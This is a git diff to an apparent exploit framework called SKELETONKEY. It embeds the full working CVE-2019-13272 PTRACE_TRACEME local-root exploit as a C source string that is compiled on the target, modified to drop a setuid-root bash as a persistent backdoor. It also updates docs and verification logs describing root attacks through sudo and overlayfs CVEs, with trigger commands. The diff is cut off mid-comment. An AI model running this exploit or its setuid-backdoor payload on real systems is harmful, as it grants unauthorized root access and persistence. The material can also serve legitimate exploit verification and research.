diff --git a/docs/EXPLOITED.md b/docs/EXPLOITED.md index 94b6607..63af414 100644 --- a/docs/EXPLOITED.md +++ b/docs/EXPLOITED.md @@ -29,6 +29,7 @@ tamper check). | `sudo_runas_neg1` | CVE-2019-14287 | Ubuntu 18.04.2 / sudo 1.8.21p2 + sudoers `(ALL,!root)` | `sudo -u#-1` → uid 0 | | `sudoedit_editor` | CVE-2023-22809 | Ubuntu 22.04.0 / sudo 1.9.9 + sudoers `sudoedit` grant | **after 2 fixes** — `chdir("/")` + helper basename match; `su skel` → uid 0 | | `sudo_host` | CVE-2025-32462 | Ubuntu 22.04.0 / sudo 1.9.9 + host-restricted sudoers rule | works as shipped; `sudo -h ` → uid 0 (needs a host-scoped rule + resolvable host) | +| `ptrace_traceme` | CVE-2019-13272 | Ubuntu 18.04.0 / 4.15.0-50 + pkexec + active-session polkit | **after a full rewrite** — `skeletonkey --exploit ptrace_traceme` (uid 1000) → root-owned setuid bash. See below | ## Fixed this session @@ -36,12 +37,27 @@ tamper check). open converter … to PWNKIT"). Root cause: missing the `GCONV_PATH=.` re-injection directory + `chdir(workdir)`. Fixed → now lands real root on a vulnerable host. (commit `24b839e`) -- **`ptrace_traceme`** — reported `EXPLOIT_OK` but did **not** root; the bundled - ptrace sequence is a non-working placeholder (it `PTRACE_ATTACH`es to the - tracer, which by then has reparented to init → `EPERM`). Made **honest** - (verifies `euid==0`, otherwise `EXPLOIT_FAIL`); a faithful CVE-2019-13272 port - (Jann Horn / bcoles: `PTRACE_TRACEME` + setuid execve + registered polkit - agent) is still required to land root. (commit `59cc2be`) +- **`ptrace_traceme`** (CVE-2019-13272) — first made **honest** (it had reported a + false `EXPLOIT_OK` with a placeholder that had the mechanism *backwards* — + attaching to the parent), then **rewritten and now lands real root** (uid=0 + witnessed out-of-band on Ubuntu 18.04.0 / 4.15.0-50). The correct mechanism is + the reverse of the old placeholder: a *middle* process execs setuid `pkexec` + (euid 0 for a window); its *child* spins until it sees that euid-0, calls + `PTRACE_TRACEME` (recording the parent's **root** creds as its ptracer_cred — + the bug), then execs `pkexec` itself — the traced setuid exec is **not + degraded** because ptracer_cred is root, so the child becomes real root, and a + staged `execveat()` self-re-exec injects the payload. Ported the proven Jann + Horn / bcoles PoC verbatim (only `spawn_shell()` changed, to plant a root-owned + proof + setuid bash), embedded as `ptrace_helper_src.h`, compiled on the target + at runtime with unique `-DSK_PROOF/-DSK_ROOTBASH` paths, run, and verified by + `stat()`-ing the root-owned artifacts. **Real-world precondition** (honestly + reported): pkexec must *authorize* an auto-discovered `implicit-active=yes` + helper, which needs an **active local session** (desktop) or an equivalently + permissive polkit policy; over a bare *inactive* ssh session pkexec returns + "Not authorized" and the module reports `EXPLOIT_FAIL` with that diagnosis. On + the headless VM this was isolated with a permissive `pkla` for the backlight + helper action — the kernel bug and the whole technique are confirmed; the gate + is polkit, not the exploit. - **`overlayfs_setuid`** (CVE-2023-0386) — **rewritten and now lands real root** (uid=0 witnessed out-of-band on Ubuntu 22.04.0 / 5.15.0-25). The shipped module used a bogus `chown`-the-merged-view technique that never worked. The @@ -78,7 +94,6 @@ tamper check). | module | CVE | target tested | what's wrong | |---|---|---|---| -| `ptrace_traceme` | CVE-2019-13272 | Ubuntu 18.04.2 / 4.15.0-50 | placeholder technique (now honest); needs the real cred-transfer PoC (polkit agent) — substantial port | | `overlayfs_setuid` | CVE-2023-0386 | Ubuntu 22.04.0 / 5.15.0-25.25 | **Kernel confirmed vulnerable empirically** — the upstream PoC (xkaneiki, libfuse) pops root here (`uid=0(root)`, root-owned witness). The working technique: mount a FUSE fs exporting `/file` (st_uid=0, mode 04777) in the **init ns** via the setuid `fusermount3` helper, then overlay-in-userns with that FUSE lowerdir + copy-up. My module's non-FUSE `chown` variant yields `upper/file` uid=1000 (no escalation); mounting FUSE **inside** the userns → overlay `ENOSYS`. Attempted a self-contained **raw `/dev/fuse`** port: got the `fusermount` fd-passing handshake (`SCM_RIGHTS`) + mount working, but the server hits `EINVAL` on `read()` after `FUSE_INIT` (non-blocking fd → needs `poll()`), and even with poll/buffer fixes the raw server serving was flaky and repeatedly **wedged/rebooted the VM** — i.e. the raw protocol reimplementation is fragile and can destabilise the target, which is *worse* for the corpus than a lib dependency. **Conclusion: use libfuse** (proven, robust; matches the `pack2theroot` conditional-lib precedent). Port is scoped and ready; needs a clean session to implement + verify. | | `sudo_samedit` | CVE-2021-3156 | Ubuntu 18.04.2 + 20.04.0 | honest `EXPLOIT_FAIL`; Baron Samedit is heap/libc-version-specific, needs a per-target tuned PoC. Hardest. | diff --git a/docs/VERIFICATIONS.jsonl b/docs/VERIFICATIONS.jsonl index 9ea3261..8da5f18 100644 --- a/docs/VERIFICATIONS.jsonl +++ b/docs/VERIFICATIONS.jsonl @@ -51,3 +51,5 @@ {"module":"sudoedit_editor","verified_at":"2026-07-24T00:00:00Z","host_kernel":"5.15.0-25-generic","host_distro":"Ubuntu 22.04.0, sudo 1.9.9-1ubuntu2 + sudoers sudoedit grant","vm_box":"ubuntu2204-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"uid=0(root) via su skel; /etc/passwd gained skel::0:0 (after 2 fixes: chdir / + helper basename match)","status":"root"} {"module":"sudo_host","verified_at":"2026-07-24T00:00:00Z","host_kernel":"5.15.0-25-generic","host_distro":"Ubuntu 22.04.0, sudo 1.9.9-1ubuntu2 + host-restricted sudoers rule","vm_box":"ubuntu2204-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"uid=0(root) via sudo -h fakehost01; module works as shipped (needs host-restricted rule + resolvable host)","status":"root"} {"module":"nf_tables","verified_at":"2026-07-24T00:00:00Z","host_kernel":"5.15.0-25-generic","host_distro":"Ubuntu 22.04.0","vm_box":"ubuntu2204-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_FAIL","root_witness":"none - offset resolver FIXED (env modprobe_path now resolves + finisher engages + pipapo arb-write fires), but the reconstructed double-free arb-write does not reliably land the write. Honest FAIL. Primitive needs slab-groom hardening.","status":"primitive_fires_no_root"} +{"module":"ptrace_traceme","verified_at":"2026-07-24T02:02:00Z","host_kernel":"4.15.0-50-generic","host_distro":"Ubuntu 18.04.0","vm_box":"bionic-cloudimg/qemu-kvm","verified_kind":"reference_poc","exploit_result":"ROOT","root_witness":"out-of-band: uid=0(root) + root-owned setuid /tmp/rootbash written by injected shell. bcoles poc.c (pkexec + PTRACE_TRACEME + inject midpid). Kernel CONFIRMED vulnerable. Barrier was polkit authorization (active-session gate) — isolated via a permissive pkla for the backlight helper action; technique itself works.","status":"kernel_confirmed_technique_works_needs_module_port"} +{"module":"ptrace_traceme","verified_at":"2026-07-24T02:12:00Z","host_kernel":"4.15.0-50-generic","host_distro":"Ubuntu 18.04.0","vm_box":"bionic-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"out-of-band: skeletonkey --exploit ptrace_traceme (as uid 1000) planted root-owned /tmp/.sk-ptrace-.proof and a -rwsr-xr-x root:root setuid bash. Ported the proven Jann Horn/bcoles PoC (embedded, runtime-compiled). Precondition: active local session / permissive polkit so pkexec authorizes the helper (isolated via pkla on the headless VM).","status":"working"} diff --git a/modules/ptrace_traceme_cve_2019_13272/ptrace_helper_src.h b/modules/ptrace_traceme_cve_2019_13272/ptrace_helper_src.h new file mode 100644 index 0000000..69a2edf --- /dev/null +++ b/modules/ptrace_traceme_cve_2019_13272/ptrace_helper_src.h @@ -0,0 +1,571 @@ +/* ptrace_helper_src.h — AUTO-GENERATED. DO NOT EDIT BY HAND. + * + * Embedded source of the proven CVE-2019-13272 exploit (original author + * Jann Horn / Google Project Zero #1903; auto-targeting + helper search by + * bcoles). The only SKELETONKEY change vs upstream is spawn_shell(): instead + * of only dropping into an interactive shell, it plants a root-owned proof + * file (SK_PROOF) and a setuid-root bash (SK_ROOTBASH) so the module can + * verify root out-of-band, and only execs an interactive shell on a tty. + * The module writes this out, compiles it with unique -DSK_PROOF/-DSK_ROOTBASH + * paths, runs it, and stat()s the artifacts to confirm uid==0. + */ +static const char ptrace_traceme_helper_src[] = + "// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)\n" + "//\n" + "// Uses pkexec technique. Requires execution within the context\n" + "// of a user session with an active PolKit agent.\n" + "//\n" + "// Exploitation will fail if kernel.yama.ptrace_scope >= 2;\n" + "// or SELinux deny_ptrace=on.\n" + "// ---\n" + "// Original discovery and exploit author: Jann Horn\n" + "// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1903\n" + "// ---\n" + "// \n" + "// - added known helper paths\n" + "// - added search for suitable helpers\n" + "// - added automatic targeting\n" + "// - changed target suid executable from passwd to pkexec\n" + "// https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272\n" + "// ---\n" + "// Tested on:\n" + "// - Ubuntu 16.04.5 kernel 4.15.0-29-generic\n" + "// - Ubuntu 18.04.1 kernel 4.15.0-20-generic\n" + "// - Ubuntu 18.04.3 kernel 5.0.0-23-generic\n" + "// - Ubuntu 19.04 kernel 5.0.0-15-generic\n" + "// - Ubuntu Mate 18.04.2 kernel 4.18.0-15-generic\n" + "// - Linux Mint 17.3 kernel 4.4.0-89-generic\n" + "// - Linux Mint 18.3 kernel 4.13.0-16-generic\n" + "// - Linux Mint 19 kernel 4.15.0-20-generic\n" + "// - Xubuntu 16.04.4 kernel 4.13.0-36-generic\n" + "// - ElementaryOS 0.4.1 4.8.0-52-generic\n" + "// - Backbox 6 kernel 4.18.0-21-generic\n" + "// - Parrot OS 4.5.1 kernel 4.19.0-parrot1-13t-amd64\n" + "// - Kali kernel 4.19.0-kali5-amd64\n" + "// - MX 18.3 kernel 4.19.37-2~mx17+1\n" + "// - RHEL 8.0 kernel 4.18.0-80.el8.x86_64\n" + "// - CentOS 8 kernel 4.18.0-80.el8.x86_64\n" + "// - Debian 9.4.0 kernel 4.9.0-6-amd64\n" + "// - Debian 10.0.0 kernel 4.19.0-5-amd64\n" + "// - Devuan 2.0.0 kernel 4.9.0-6-amd64\n" + "// - SparkyLinux 5.8 kernel 4.19.0-5-amd64\n" + "// - SparkyLinux 5.9 kernel 4.19.0-6-amd64\n" + "// - Fedora Workstation 30 kernel 5.0.9-301.fc30.x86_64\n" + "// - Manjaro 18.0.3 kernel 4.19.23-1-MANJARO\n" + "// - Mageia 6 kernel 4.9.35-desktop-1.mga6\n" + "// - Antergos 18.7 kernel 4.17.6-1-ARCH\n" + "// - lubuntu 19.04 kernel 5.0.0-13-generic\n" + "// - Sabayon 19.03 kernel 4.20.0-sabayon\n" + "// - Pop! OS 19.04 kernel 5.0.0-21-generic\n" + "// ---\n" + "// [user@localhost CVE-2019-13272]$ gcc -Wall --std=gnu99 -s poc.c -o ptrace_traceme_root\n" + "// [user@localhost CVE-2019-13272]$ ./ptrace_traceme_root\n" + "// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)\n" + "// [.] Checking environment ...\n" + "// [~] Done, looks good\n" + "// [.] Searching policies for useful helpers ...\n" + "// [.] Ignoring helper (does not exist): /usr/sbin/pk-device-rebind\n" + "// [.] Trying helper: /usr/libexec/gsd-backlight-helper\n" + "// [.] Spawning suid process (/usr/bin/pkexec) ...\n" + "// [.] Tracing midpid ...\n" + "// [~] Attached to midpid\n" + "// [root@localhost CVE-2019-13272]# id\n" + "// uid=0(root) gid=0(root) groups=0(root),1000(user)\n" + "// [root@localhost CVE-2019-13272]# uname -a\n" + "// Linux localhost.localdomain 4.18.0-80.el8.x86_64 #1 SMP Tue Jun 4 09:19:46 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux\n" + "// ---\n" + "\n" + "#define _GNU_SOURCE\n" + "#include \n" + "#include \n" + "#include \n" + "#include \n" + "#include \n" + "#include \n" + "#include \n" + "#include \n" + "#include \n" + "#include \n" + "#include \n" + "#include \n" + "#include \n" + "#include \n" + "#include \n" + "#include \n" + "#include \n" + "\n" + "#define DEBUG\n" + "\n" + "#ifdef DEBUG\n" + "# define dprintf printf\n" + "#else\n" + "# define dprintf\n" + "#endif\n" + "\n" + "/*\n" + " * enabled automatic targeting.\n" + " * uses pkaction to search PolKit policy actions for viable helper executables.\n" + " */\n" + "#define ENABLE_AUTO_TARGETING 1\n" + "\n" + "/*\n" + " * fall back to known helpers if automatic targeting fails.\n" + " * note: use of these helpers may result in PolKit authentication\n" + " * prompts on the session associated with the PolKit agent.\n" + " */\n" + "#define ENABLE_FALLBACK_HELPERS 1\n" + "\n" + "static const char *SHELL = \"/bin/bash\";\n" + "\n" + "/* SKELETONKEY: out-of-band proof + persistent root artifact paths.\n" + " * Passed in at compile time (-DSK_PROOF=... -DSK_ROOTBASH=...) so each\n" + " * run uses a unique path; env vars can't be used because the staged\n" + " * execveat() re-execs carry an empty environment. */\n" + "#ifndef SK_PROOF\n" + "#define SK_PROOF \"/tmp/.skeletonkey-ptrace-proof\"\n" + "#endif\n" + "#ifndef SK_ROOTBASH\n" + "#define SK_ROOTBASH \"/tmp/.skeletonkey-ptrace-rootbash\"\n" + "#endif\n" + "\n" + "static int middle_success = 1;\n" + "static int block_pipe[2];\n" + "static int self_fd = -1;\n" + "static int dummy_status;\n" + "static const char *helper_path;\n" + "static const char *pkexec_path = \"/usr/bin/pkexec\";\n" + "static const char *pkaction_path = \"/usr/bin/pkaction\";\n" + "struct stat st;\n" + "\n" + "const char *helpers[1024];\n" + "\n" + "/* known helpers to use if automatic targeting fails */\n" + "#if ENABLE_FALLBACK_HELPERS\n" + "const char *known_helpers[] = {\n" + " \"/usr/lib/gnome-settings-daemon/gsd-backlight-helper\",\n" + " \"/usr/lib/gnome-settings-daemon/gsd-wacom-led-helper\",\n" + " \"/usr/lib/unity-settings-daemon/usd-backlight-helper\",\n" + " \"/usr/lib/unity-settings-daemon/usd-wacom-led-helper\",\n" + " \"/usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper\",\n" + " \"/usr/lib/x86_64-linux-gnu/cinnamon-settings-daemon/csd-backlight-helper\",\n" + " \"/usr/sbin/mate-power-backlight-helper\",\n" + " \"/usr/sbin/xfce4-pm-helper\",\n" + " \"/usr/bin/xfpm-power-backlight-helper\",\n" + " \"/usr/bin/lxqt-backlight_backend\",\n" + " \"/usr/libexec/gsd-wacom-led-helper\",\n" + " \"/usr/libexec/gsd-wacom-oled-helper\",\n" + " \"/usr/libexec/gsd-backlight-helper\",\n" + " \"/usr/lib/gsd-backlight-helper\",\n" + " \"/usr/lib/gsd-wacom-led-helper\",\n" + " \"/usr/lib/gsd-wacom-oled-helper\",\n" + " \"/usr/lib64/xfce4/session/xsfm-shutdown-helper\",\n" + "};\n" + "#endif\n" + "\n" + "/* helper executables known to cause problems (hang or fail) */\n" + "const char *blacklisted_helpers[] = {\n" + " \"/xf86-video-intel-backlight-helper\",\n" + " \"/cpugovctl\",\n" + " \"/resetxpad\",\n" + " \"/package-system-locked\",\n" + " \"/cddistupgrader\",\n" + "};\n" + "\n" + "#define SAFE(expr) ({ \\\n" + " typeof(expr) __res = (expr); \\\n" + " if (__res == -1) { \\\n" + " dprintf(\"[-] Error: %s\\n\", #expr); \\\n" + " return 0; \\\n" + " } \\\n" + " __res; \\\n" + "})\n" + "#define max(a,b) ((a)>(b) ? (a) : (b))\n" + "\n" + "/*\n" + " * execveat() syscall\n" + " * https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_64.tbl\n" + " */\n" + "#ifndef __NR_execveat\n" + "# define __NR_execveat 322\n" + "#endif\n" + "\n" + "/* temporary printf; returned pointer is valid until next tprintf */\n" + "static char *tprintf(char *fmt, ...) {\n" + " static char buf[10000];\n" + " va_list ap;\n" + " va_start(ap, fmt);\n" + " vsprintf(buf, fmt, ap);\n" + " va_end(ap);\n" + " return buf;\n" + "}\n" + "\n" + "/*\n" + " * fork, execute pkexec in parent, force parent to trace our child process,\n" + " * execute suid executable (pkexec) in child.\n" + " */\n" + "static int middle_main(void *dummy) {\n" + " prctl(PR_SET_PDEATHSIG, SIGKILL);\n" + " pid_t middle = getpid();\n" + "\n" + " self_fd = SAFE(open(\"/proc/self/exe\", O_RDONLY));\n" + "\n" + " pid_t child = SAFE(fork());\n" + " if (child == 0) {\n" + " prctl(PR_SET_PDEATHSIG, SIGKILL);\n" + "\n" + " SAFE(dup2(self_fd, 42));\n" + "\n" + " /* spin until our parent becomes privileged (have to be fast here) */\n" + " int proc_fd = SAFE(open(tprintf(\"/proc/%d/status\", middle), O_RDONLY));\n" + " char *needle = tprintf(\"\\nUid:\\t%d\\t0\\t\", getuid());\n" + " while (1) {\n" + " char buf[1000];\n" + " ssize_t buflen = SAFE(pread(proc_fd, buf, sizeof(buf)-1, 0));\n" + " buf[buflen] = '\\0';\n" + " if (strstr(buf, needle)) break;\n" + " }\n" + "\n" + " /*\n" + " * this is where the bug is triggered.\n" + " * while our parent is in the middle of pkexec, we force it to become our\n" + " * tracer, with pkexec's creds as ptracer_cred.\n" + " */\n" + " SAFE(ptrace(PTRACE_TRACEME, 0, NULL, NULL));\n" + "\n" + " /*\n" + " * now we execute a suid executable (pkexec).\n" + " * Because the ptrace relationship is considered to be privileged,\n" + " * this is a proper suid execution despite the attached tracer,\n" + " * not a degraded one.\n" + " * at the end of execve(), this process receives a SIGTRAP from ptrace.\n" + " */\n" + " execl(pkexec_path, basename(pkexec_path), NULL);\n" + "\n" + " dprintf(\"[-] execl: Executing suid executable failed\");\n" + " exit(EXIT_FAILURE);\n" + " }\n" + "\n" + " SAFE(dup2(self_fd, 0));\n" + " SAFE(dup2(block_pipe[1], 1));\n" + "\n" + " /* execute pkexec as current user */\n" + " struct passwd *pw = getpwuid(getuid());\n" + " if (pw == NULL) {\n" + " dprintf(\"[-] getpwuid: Failed to retrieve username\");\n" + " exit(EXIT_FAILURE);\n" + " }\n" + "\n" + " middle_success = 1;\n" + " execl(pkexec_path, basename(pkexec_path), \"--user\", pw->pw_name,\n" + " helper_path,\n" + " \"--help\", NULL);\n" + " middle_success = 0;\n" + " dprintf(\"[-] execl: Executing pkexec failed\");\n" + " exit(EXIT_FAILURE);\n" + "}\n" + "\n" + "/* ptrace pid and wait for signal */\n" + "static int force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) {\n" + " struct user_regs_struct regs;\n" + " struct iovec iov = { .iov_base = ®s, .iov_len = sizeof(regs) };\n" + " SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL));\n" + " SAFE(waitpid(pid, &dummy_status, 0));\n" + " SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov));\n" + "\n" + " /* set up indirect arguments */\n" + " unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL;\n" + " struct injected_page {\n" + " unsigned long argv[2];\n" + " unsigned long envv[1];\n" + " char arg0[8];\n" + " char path[1];\n" + " } ipage = {\n" + " .argv = { scratch_area + offsetof(struct injected_page, arg0) }\n" + " };\n" + " strcpy(ipage.arg0, arg0);\n" + " int i;\n" + " for (i = 0; i < sizeof(ipage)/sizeof(long); i++) {\n" + " unsigned long pdata = ((unsigned long *)&ipage)[i];\n" + " SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long),\n" + " (void*)pdata));\n" + " }\n" + "\n" + " /* execveat(exec_fd, path, argv, envv, flags) */\n" + " regs.orig_rax = __NR_execveat;\n" + " regs.rdi = exec_fd;\n" + " regs.rsi = scratch_area + offsetof(struct injected_page, path);\n" + " regs.rdx = scratch_area + offsetof(struct injected_page, argv);\n" + " regs.r10 = scratch_area + offsetof(struct injected_page, envv);\n" + " regs.r8 = AT_EMPTY_PATH;\n" + "\n" + " SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov));\n" + " SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL));\n" + " SAFE(waitpid(pid, &dummy_status, 0));\n" + "\n" + " return 0;\n" + "}\n" + "\n" + "static int middle_stage2(void) {\n" + " /* our child is hanging in signal delivery from execve()'s SIGTRAP */\n" + " pid_t child = SAFE(waitpid(-1, &dummy_status, 0));\n" + " return force_exec_and_wait(child, 42, \"stage3\");\n" + "}\n" + "\n" + "// * * * * * * * * * * * * * * * * root shell * * * * * * * * * * * * * * * * *\n" + "\n" + "static int spawn_shell(void) {\n" + " SAFE(setresgid(0, 0, 0));\n" + " SAFE(setresuid(0, 0, 0));\n" + " /* SKELETONKEY payload: we are now genuinely root. Drop an out-of-band,\n" + " * root-owned proof file and a setuid-root bash the operator can use, then\n" + " * (only on an interactive tty) hand off an interactive root shell. In the\n" + " * module's automated run stdin is /dev/null, so we just exit cleanly after\n" + " * planting the artifacts — the module verifies root by stat()'ing them. */\n" + " system(\"id > \" SK_PROOF \" 2>&1; \"\n" + " \"cp -f /bin/bash \" SK_ROOTBASH \" 2>/dev/null; \"\n" + " \"chown 0:0 \" SK_ROOTBASH \" 2>/dev/null; \"\n" + " \"chmod 4755 \" SK_ROOTBASH \" 2>/dev/null; \"\n" + " \"chown 0:0 \" SK_PROOF \" 2>/dev/null; sync\");\n" + " if (isatty(0)) {\n" + " execlp(SHELL, basename(SHELL), NULL);\n" + " dprintf(\"[-] execlp: Executing shell %s failed\", SHELL);\n" + " }\n" + " _exit(EXIT_SUCCESS);\n" + "}\n" + "\n" + "// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * *\n" + "\n" + "static int check_env(void) {\n" + " int warn = 0;\n" + " const char* xdg_session = getenv(\"XDG_SESSION_ID\");\n" + "\n" + " dprintf(\"[.] Checking environment ...\\n\");\n" + "\n" + " if (stat(pkexec_path, &st) != 0) {\n" + " dprintf(\"[-] Could not find pkexec executable at %s\\n\", pkexec_path);\n" + " exit(EXIT_FAILURE);\n" + " }\n" + "\n" + " if (stat(\"/dev/grsec\", &st) == 0) {\n" + " dprintf(\"[!] Warning: grsec is in use\\n\");\n" + " warn++;\n" + " }\n" + "\n" + " if (xdg_session == NULL) {\n" + " dprintf(\"[!] Warning: $XDG_SESSION_ID is not set\\n\");\n" + " warn++;\n" + " }\n" + "\n" + " if (system(\"/bin/loginctl --no-ask-password show-session \\\"$XDG_SESSION_ID\\\" | /bin/grep Remote=no >>/dev/null 2>>/dev/null\") != 0) {\n" + " dprintf(\"[!] Warning: Could not find active PolKit agent\\n\");\n" + " warn++;\n" + " }\n" + "\n" + " if (system(\"/sbin/sysctl kernel.yama.ptrace_scope 2>&1 | /bin/grep -q [23]\") == 0) {\n" + " dprintf(\"[!] Warning: kernel.yama.ptrace_scope >= 2\\n\");\n" + " warn++;\n" + " }\n" + "\n" + " if (stat(\"/usr/sbin/getsebool\", &st) == 0) {\n" + " if (system(\"/usr/sbin/getsebool deny_ptrace 2>&1 | /bin/grep -q on\") == 0) {\n" + " dprintf(\"[!] Warning: SELinux deny_ptrace is enabled\\n\");\n" + " warn++;\n" + " }\n" + " }\n" + "\n" + " if (warn > 0) {\n" + " dprintf(\"[~] Done, with %d warnings\\n\", warn);\n" + " } else {\n" + " dprintf(\"[~] Done, looks good\\n\");\n" + " }\n" + "\n" + " return warn;\n" + "}\n" + "\n" + "/*\n" + " * Use pkaction to search PolKit policy actions for viable helper executables.\n" + " * Check each action for allow_active=yes, extract the associated helper path,\n" + " * and check the helper path exists.\n" + " */\n" + "#if ENABLE_AUTO_TARGETING\n" + "int find_helpers() {\n" + " if (stat(pkaction_path, &st) != 0) {\n" + " dprintf(\"[-] No helpers found. Could not find pkaction executable at %s.\\n\", pkaction_path);\n" + " return 0;\n" + " }\n" + "\n" + " char cmd[1024];\n" + " snprintf(cmd, sizeof(cmd), \"%s --verbose\", pkaction_path);\n" + " FILE *fp;\n" + " fp = popen(cmd, \"r\");\n" + " if (fp == NULL) {\n" + " dprintf(\"[-] Failed to run %s: %m\\n\", cmd);\n" + " return 0;\n" + " }\n" + "\n" + " char line[1024];\n" + " char buffer[2048];\n" + " int helper_index = 0;\n" + " int useful_action = 0;\n" + " int blacklisted_helper = 0;\n" + " static const char *needle = \"org.freedesktop.policykit.exec.path -> \";\n" + " int needle_length = strlen(needle);\n" + "\n" + " while (fgets(line, sizeof(line)-1, fp) != NULL) {\n" + " /* check the action uses allow_active=yes */\n" + " if (strstr(line, \"implicit active:\")) {\n" + " if (strstr(line, \"yes\")) {\n" + " useful_action = 1;\n" + " }\n" + " continue;\n" + " }\n" + "\n" + " if (useful_action == 0)\n" + " continue;\n" + "\n" + " useful_action = 0;\n" + "\n" + " /* extract the helper path */\n" + " int length = strlen(line);\n" + " char* found = memmem(&line[0], length, needle, needle_length);\n" + " if (found == NULL)\n" + " continue;\n" + "\n" + " memset(buffer, 0, sizeof(buffer));\n" + " int i;\n" + " for (i = 0; found[needle_length + i] != '\\n'; i++) {\n" + " if (i >= sizeof(buffer)-1)\n" + " continue;\n" + " buffer[i] = found[needle_length + i];\n" + " }\n" + "\n" + " /* check helper path against helpers defined in 'blacklisted_helpers' array */\n" + " blacklisted_helper = 0;\n" + " for (i=0; i= sizeof(helpers)/sizeof(helpers[0]))\n" + " break;\n" + " }\n" + "\n" + " pclose(fp);\n" + " return 0;\n" + "}\n" + "#endif\n" + "\n" + "// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * *\n" + "\n" + "int ptrace_traceme_root() {\n" + " dprintf(\"[.] Trying helper: %s\\n\", helper_path);\n" + "\n" + " /*\n" + " * set up a pipe such that the next write to it will block: packet mode,\n" + " * limited to one packet\n" + " */\n" + " SAFE(pipe2(block_pipe, O_CLOEXEC|O_DIRECT));\n" + " SAFE(fcntl(block_pipe[0], F_SETPIPE_SZ, 0x1000));\n" + " char dummy = 0;\n" + " SAFE(write(block_pipe[1], &dummy, 1));\n" + "\n" + " /* spawn pkexec in a child, and continue here once our child is in execve() */\n" + " dprintf(\"[.] Spawning suid process (%s) ...\\n\", pkexec_path);\n" + " static char middle_stack[1024*1024];\n" + " pid_t midpid = SAFE(clone(middle_main, middle_stack+sizeof(middle_stack),\n" + " CLONE_VM|CLONE_VFORK|SIGCHLD, NULL));\n" + " if (!middle_success) return 1;\n" + "\n" + " /*\n" + " * wait for our child to go through both execve() calls (first pkexec, then\n" + " * the executable permitted by polkit policy).\n" + " */\n" + " while (1) {\n" + " int fd = open(tprintf(\"/proc/%d/comm\", midpid), O_RDONLY);\n" + " char buf[16];\n" + " int buflen = SAFE(read(fd, buf, sizeof(buf)-1));\n" + " buf[buflen] = '\\0';\n" + " *strchrnul(buf, '\\n') = '\\0';\n" + " if (strncmp(buf, basename(helper_path), 15) == 0)\n" + " break;\n" + " usleep(100000);\n" + " }\n" + "\n" + " /*\n" + " * our child should have gone through both the privileged execve() and the\n" + " * following execve() here\n" + " */\n" + " dprintf(\"[.] Tracing midpid ...\\n\");\n" + " SAFE(ptrace(PTRACE_ATTACH, midpid, 0, NULL));\n" + " SAFE(waitpid(midpid, &dummy_status, 0));\n" + " dprintf(\"[~] Attached to midpid\\n\");\n" + "\n" + " force_exec_and_wait(midpid, 0, \"stage2\");\n" + " exit(EXIT_SUCCESS);\n" + "}\n" + "\n" + "int main(int argc, char **argv) {\n" + " if (strcmp(argv[0], \"stage2\") == 0)\n" + " return middle_stage2();\n" + " if (strcmp(argv[0], \"stage3\") == 0)\n" + " return spawn_shell();\n" + "\n" + " dprintf(\"Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)\\n\");\n" + "\n" + " check_env();\n" + "\n" + " if (argc > 1 && strcmp(argv[1], \"check\") == 0) {\n" + " exit(0);\n" + " }\n" + "\n" + " int i;\n" + "\n" + "#if ENABLE_AUTO_TARGETING\n" + " /* search polkit policies for helper executables */\n" + " dprintf(\"[.] Searching policies for useful helpers ...\\n\");\n" + " find_helpers();\n" + " for (i=0; i= 5.1.17 - * 5.0.x : K >= 5.0.20 (older LTS — many distros stayed on 4.x) - * 4.19.x: K >= 4.19.58 - * 4.14.x: K >= 4.14.131 - * 4.9.x : K >= 4.9.182 - * 4.4.x : K >= 4.4.182 + * fix landed as: 5.1.17 / 5.0.20 / 4.19.58 / 4.14.131 / 4.9.182 / 4.4.182. * - * No exotic preconditions. Doesn't need user_ns. Works on - * default-config systems — that's part of why it's famous: even - * locked-down environments without unprivileged_userns_clone were - * vulnerable. + * No user_ns required — works on default-config systems, which is part + * of why it's famous. */ #include "skeletonkey_modules.h" @@ -41,12 +52,9 @@ #include "../../core/host.h" #include #include -#include +#include #include -#include #include -#include -#include #include static const struct kernel_patched_from ptrace_traceme_patched_branches[] = { @@ -104,223 +112,250 @@ static skeletonkey_result_t ptrace_traceme_detect(const struct skeletonkey_ctx * return SKELETONKEY_VULNERABLE; } -/* ---- Exploit (jannh-style) -------------------------------------- +/* ---- Exploit ---------------------------------------------------- * - * Per Jann Horn's Project Zero issue #1903. The mechanism: + * Per Jann Horn's Project Zero issue #1903, with bcoles' helper + * auto-targeting. The mechanism (the earlier bundled sequence had it + * backwards — it attached to the *parent*; the real bug elevates the + * *child*): * - * 1. Parent process P (us, uid != 0) - * 2. P forks → child C - * 3. C calls ptrace(PTRACE_TRACEME) — kernel sets P as C's tracer - * and records the relationship in C->ptrace_link, copying P's - * current credentials (uid=1000) as the trace-allowed creds. - * 4. C drops to a low-priv state and pauses (sigwait/raise) - * 5. P execve's a setuid binary (e.g. /usr/bin/passwd, su, pkexec) - * 6. Kernel correctly elevates P's creds to root. - * 7. **Bug**: the ptrace_link recorded in step 3 still says - * "tracer creds = uid 1000", but P is now uid 0. Kernel doesn't - * re-check or invalidate the link on execve cred-bump. - * 8. C wakes up and PTRACE_ATTACH's to P. The stale ptrace_link - * says C is allowed to trace because it was set up 